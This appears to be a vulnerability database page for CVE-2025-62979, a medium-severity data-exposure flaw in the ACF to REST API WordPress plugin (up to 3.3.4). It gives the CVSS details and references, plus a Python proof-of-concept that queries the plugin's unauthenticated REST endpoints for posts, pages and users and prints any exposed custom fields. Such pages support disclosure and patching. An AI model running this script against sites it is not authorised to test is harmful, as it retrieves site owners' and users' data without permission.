CVE-2025-62979

Description

Insertion of Sensitive Information Into Sent Data vulnerability in airesvsg ACF to REST API acf-to-rest-api allows Retrieve Embedded Sensitive Data.This issue affects ACF to REST API: from n/a through <= 3.3.4.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

ACF to REST API <= 3.3.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2025-62979 PoC - ACF to REST API Sensitive Data Exposure
# Target: WordPress site with ACF to REST API plugin <= 3.3.4

def check_vulnerability(target_url):
    """
    Check if target is vulnerable to CVE-2025-62979
    """
    endpoints = [
        '/wp-json/acf/v3/posts',
        '/wp-json/acf/v3/pages',
        '/wp-json/acf/v3/users',
        '/wp-json/acf/v3/posts?per_page=100',
        '/wp-json/acf/v3/pages?per_page=100'
    ]
    
    for endpoint in endpoints:
        url = target_url.rstrip('/') + endpoint
        try:
            response = requests.get(url, timeout=10)
            if response.status_code == 200:
                data = response.json()
                if data and len(data) > 0:
                    print(f'[+] Vulnerable endpoint found: {url}')
                    print(f'[+] Response contains {len(data)} records')
                    if 'acf' in str(data[:1]):
                        print('[+] ACF fields exposed in response')
                        print(json.dumps(data[:1], indent=2))
                    return True
        except requests.RequestException as e:
            print(f'[-] Error accessing {url}: {e}')
    return False

def main():
    target = input('Enter target URL: ')
    if check_vulnerability(target):
        print('[!] Target is vulnerable to CVE-2025-62979')
    else:
        print('[-] Target may not be vulnerable')

if __name__ == '__main__':
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62979
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62979
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62979/
[4] VulDB https://vuldb.com/cve/CVE-2025-62979
[5] https://patchstack.com/database/Wordpress/Plugin/acf-to-rest-api/vulnerability/wordpress-acf-to-rest-api-plugin-3-3-4-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

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